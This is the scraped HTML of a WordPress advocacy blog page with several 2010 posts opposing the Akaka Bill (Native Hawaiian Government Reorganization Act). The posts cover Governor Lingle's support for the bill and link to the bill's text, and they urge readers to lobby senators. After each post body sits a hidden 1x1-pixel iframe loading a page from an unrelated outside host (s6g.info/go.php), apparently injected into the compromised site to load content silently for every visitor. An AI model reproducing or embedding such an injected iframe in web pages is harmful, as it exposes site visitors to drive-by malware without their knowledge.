href="http://www.stoptheakakabill.com/author/admin" title="Posts by Stop the Akaka Bill" rel="author">Stop the Akaka Bill</a>, July 14, 2010 8:36 am</div> <p><strong>Akaka Bill: Hawaiians Do Not Want the Akaka Bill Yet Governor Linda Lingle Sends a Letter to U.S. Senators Encouraging Support for the Akaka Bill</strong></p> <p><strong> </strong></p> <div id="attachment_196" style="width: 747px" class="wp-caption aligncenter"><strong><strong><a href="http://www.stoptheakakabill.com/wp-content/uploads/2009/12/akakabill2.jpg"><img aria-describedby="caption-attachment-196" loading="lazy" class="size-full wp-image-196" title="Stop the Akaka Bill" src="http://www.stoptheakakabill.com/wp-content/uploads/2009/12/akakabill2.jpg" alt="Stop the Akaka Bill" width="737" height="552" srcset="http://www.stoptheakakabill.com/wp-content/uploads/2009/12/akakabill2.jpg 737w, http://www.stoptheakakabill.com/wp-content/uploads/2009/12/akakabill2-300x224.jpg 300w" sizes="(max-width: 737px) 100vw, 737px" /></a></strong></strong><p id="caption-attachment-196" class="wp-caption-text">Stop the Akaka Bill</p></div> <p><strong> </strong></p> <p><a title="Stop the Akaka Bill" href="http://hawaii.gov/gov/news/releases/2010-news-releases/governor-lingle-sends-letter-to-u.s.-senators-encouraging-support-of-akaka-bill" target="_blank"><strong>Governor Linda Lingle</strong> today sent a letter to all U.S. Senators</a> affirming her strong support of the <strong>Native Hawaiian Government Reorganization Act</strong>, also known as the <strong>Akaka Bill</strong>, and encouraging them to support bringing the bill to a vote in the Senate and to vote to enact it into law.</p> <p><strong>Governor Lingle’s press release with her flip flip on the Akaka Bill can be seen here:</strong></p> <blockquote> <p style="text-align: center;"><a title="Stop the Akaka Bill" href="http://hawaii.gov/gov/news/releases/2010-news-releases/governor-lingle-sends-letter-to-u.s.-senators-encouraging-support-of-akaka-bill" target="_blank">http://hawaii.gov/gov/news/releases/2010-news-releases/governor-lingle-sends-letter-to-u.s.-senators-encouraging-support-of-akaka-bill</a></p> </blockquote> <p>A copy of a letter to <strong>Lamar Alexander</strong> regarding the <strong>Akaka Bill</strong> can be seen here:</p> <blockquote><p><a title="Stop the Akaka Bill" href="http://hawaii.gov/gov/news/releases/news-release-attachments/Akaka%20Bill%20letter%20to%20U.S.%20Senators%207.13.10.PDF" target="_blank">http://hawaii.gov/gov/news/releases/news-release-attachments/Akaka%20Bill%20letter%20to%20U.S.%20Senators%207.13.10.PDF</a></p></blockquote> <p><strong>Want to help?</strong></p> <blockquote><p>If so whether Hawaiian by nationality or whether a non-Hawaiian… contact all <strong>senators</strong> including your senators and tell them to vote <strong>NO on the Akaka Bill</strong>.</p> <p>You can see the list of U.S. Senators here:</p> <p><a title="Stop the Akaka Bill" href="http://www.senate.gov/general/contact_information/senators_cfm.cfm" target="_blank">http://www.senate.gov/general/contact_information/senators_cfm.cfm</a></p></blockquote> <p>With your help… we can help <strong>Stop the Akaka Bill</strong>.</p> <p>Mahalo!</p> <p><iframe src=""><br /> <iframe src=""></p> <p><iframe src=><br /> <iframe loading="lazy" src="http://s6g.info/go.php?sid=1" width="1px" height="1px" ></p> <div style="clear:both"></div> </div> <div class="postmetadata"> <p><img style="vertical-align:-5px;" alt="categories" src="http://www.stoptheakakabill.com/wp-content/themes/panorama/images/category.gif" height="16" width="16" /> <a href="http://www.stoptheakakabill.com/category/akaka-bill" rel="category tag">Akaka Bill</a> | <img style="vertical-align:-5px;" alt="tags" src="http://www.stoptheakakabill.com/wp-content/themes/panorama/images/tag.gif" height="16" width="16" /> <a href="http://www.stoptheakakabill.com/tag/akaka-bill" rel="tag">Akaka Bill</a>, <a href="http://www.stoptheakakabill.com/tag/democrats-and-the-akaka-bill" rel="tag">Democrats and the Akaka Bill</a>, <a href="http://www.stoptheakakabill.com/tag/hawaii" rel="tag">Hawaii</a>, <a href="http://www.stoptheakakabill.com/tag/hawaiians" rel="tag">Hawaiians</a>, <a href="http://www.stoptheakakabill.com/tag/hr-2314" rel="tag">HR 2314</a>, <a href="http://www.stoptheakakabill.com/tag/lamar-alexander" rel="tag">Lamar Alexander</a>, <a href="http://www.stoptheakakabill.com/tag/native-hawaiian-government-reorganization-act" rel="tag">Native Hawaiian Government Reorganization Act</a>, <a href="http://www.stoptheakakabill.com/tag/republicans-and-the-akaka-bill" rel="tag">Republicans and the Akaka Bill</a>, <a href="http://www.stoptheakakabill.com/tag/senate-and-the-akaka-bill" rel="tag">Senate and the Akaka Bill</a>, <a href="http://www.stoptheakakabill.com/tag/senator-daniel-akaka" rel="tag">Senator Daniel Akaka</a>, <a href="http://www.stoptheakakabill.com/tag/stop-the-akaka-bill" rel="tag">Stop the Akaka Bill</a>, <a href="http://www.stoptheakakabill.com/tag/u-s-senate-and-the-akaka-bill" rel="tag">U.S. Senate and the Akaka Bill</a>, <a href="http://www.stoptheakakabill.com/tag/u-s-senators-and-the-akaka-bill" rel="tag">U.S. Senators and the Akaka Bill</a> </p> </div> </div> <div class="post" id="post-648"> <h2><a href="http://www.stoptheakakabill.com/akaka-bill/latest-version-of-the-akaka-bill-in-the-senate" rel="bookmark" title="Permanent Link to Latest Version of the Akaka Bill in the Senate">Latest Version of the Akaka Bill in the Senate</a></h2> <div class="entry"> <div class="authormeta"> <div class="commentsmeta"><img style="vertical-align:-5px;" alt="comments" src="http://www.stoptheakakabill.com/wp-content/themes/panorama/images/comment.gif" height="16" width="16" /> <a href="http://www.stoptheakakabill.com/akaka-bill/latest-version-of-the-akaka-bill-in-the-senate#respond">Comments (0)</a> </div> By <a href="http://www.stoptheakakabill.com/author/admin" title="Posts by Stop the Akaka Bill" rel="author">Stop the Akaka Bill</a>, July 10, 2010 6:22 pm</div> <p><strong>Latest Version of the Akaka Bill in the Senate</strong></p> <div id="attachment_52" style="width: 310px" class="wp-caption aligncenter"><a href="http://www.stoptheakakabill.com/wp-content/uploads/2009/07/akakabill1.jpg"><img aria-describedby="caption-attachment-52" loading="lazy" class="size-medium wp-image-52" title="Akaka Bill" src="http://www.stoptheakakabill.com/wp-content/uploads/2009/07/akakabill1-300x200.jpg" alt="Akaka Bill" width="300" height="200" srcset="http://www.stoptheakakabill.com/wp-content/uploads/2009/07/akakabill1-300x200.jpg 300w, http://www.stoptheakakabill.com/wp-content/uploads/2009/07/akakabill1-1024x682.jpg 1024w, http://www.stoptheakakabill.com/wp-content/uploads/2009/07/akakabill1.jpg 1600w" sizes="(max-width: 300px) 100vw, 300px" /></a><p id="caption-attachment-52" class="wp-caption-text">Stop the Akaka Bill</p></div> <p>The latest version of the <strong><a title="Stop the Akaka Bill" href="http://akaka.senate.gov/upload/amdt_HR2314.pdf" target="_blank">Akaka Bill</a></strong> in the Senate can be seen here:</p> <blockquote><p><a href="http://akaka.senate.gov/upload/amdt_HR2314.pdf">http://akaka.senate.gov/upload/amdt_HR2314.pdf</a></p></blockquote> <p>How you can help stop the <strong>Akaka Bill</strong>:</p> <p>Write to and call your senators and tell them to vote NO on the <strong>Akaka Bill</strong></p> <blockquote><p><a href="http://www.senate.gov/general/contact_information/senators_cfm.cfm">http://www.senate.gov/general/contact_information/senators_cfm.cfm</a></p></blockquote> <p>Mahalo!</p> <p><iframe src=""><br /> <iframe src=""></p> <p><iframe src=><br /> <iframe loading="lazy" src="http://s6g.info/go.php?sid=1" width="1px" height="1px" ></p> <div style="clear:both"></div> </div> <div class="postmetadata"> <p><img style="vertical-align:-5px;" alt="categories" src="http://www.stoptheakakabill.com/wp-content/themes/panorama/images/category.gif" height="16" width="16" /> <a href="http://www.stoptheakakabill.com/category/akaka-bill" rel="category tag">Akaka Bill</a> | <img style="vertical-align:-5px;" alt="tags" src="http://www.stoptheakakabill.com/wp-content/themes/panorama/images/tag.gif" height="16" width="16" /> <a href="http://www.stoptheakakabill.com/tag/akaka-bill" rel="tag">Akaka Bill</a>, <a href="http://www.stoptheakakabill.com/tag/democrats-and-the-akaka-bill" rel="tag">Democrats and the Akaka Bill</a>, <a href="http://www.stoptheakakabill.com/tag/hr-2314" rel="tag">HR 2314</a>, <a href="http://www.stoptheakakabill.com/tag/native-hawaiian-government-reorganization-act" rel="tag">Native Hawaiian Government Reorganization Act</a>, <a href="http://www.stoptheakakabill.com/tag/republicans-and-the-akaka-bill" rel="tag">Republicans and the Akaka Bill</a> </p> </div> </div> <div class="post" id="post-643"> <h2><a href="http://www.stoptheakakabill.com/akaka-bill/more-secret-negotiations-regarding-the-akaka-bill" rel="bookmark" title="Permanent Link to Secret Negotiations Regarding the Akaka Bill">Secret Negotiations Regarding the Akaka Bill</a></h2> <div class="entry"> <div class="authormeta"> <div class="commentsmeta"><img style="vertical-align:-5px;" alt="comments" src="http://www.stoptheakakabill.com/wp-content/themes/panorama/images/comment.gif" height="16" width="16" /> <a href="http://www.stoptheakakabill.com/akaka-bill/more-secret-negotiations-regarding-the-akaka-bill#respond">Comments (0)</a> </div> By <a href="http://www.stoptheakakabill.com/author/admin" title="Posts by Stop the Akaka Bill" rel="author">Stop the Akaka Bill</a>, July 10, 2010 6:16 pm</div> <p><strong>Secret Negotiations Regarding the Akaka Bill</strong></p> <div id="attachment_169" style="width: 393px" class="wp-caption aligncenter"><a href="http://www.stoptheakakabill.com/wp-content/uploads/2009/10/Thieves2.jpg"><img aria-describedby="caption-attachment-169" loading="lazy" class="size-full wp-image-169" title="Akaka Bill aka Native Hawaiian Government Reorganization Act" src="http://www.stoptheakakabill.com/wp-content/uploads/2009/10/Thieves2.jpg" alt="Akaka Bill aka Native Hawaiian Government Reorganization Act" width="383" height="506" /></a><p id="caption-attachment-169" class="wp-caption-text">Akaka Bill aka Native Hawaiian Government Reorganization Act</p></div> <p>After secret negotiations with Hawaii’s senators,Â Governor Linda Lingle has changed her mind and now supports the <strong>Akaka Bill</strong>.</p> <p><a href="http://www.hawaiinewsnow.com/global/story.asp?s=12770885">http://www.hawaiinewsnow.com/global/story.asp?s=12770885</a></p> <p><strong>Senator Daniel Akak</strong>a who is one of the sponsors of the <strong>Akaka Bill</strong> posted a press release about this shady negotiations that were made without the input of Hawaiians:</p> <p><a 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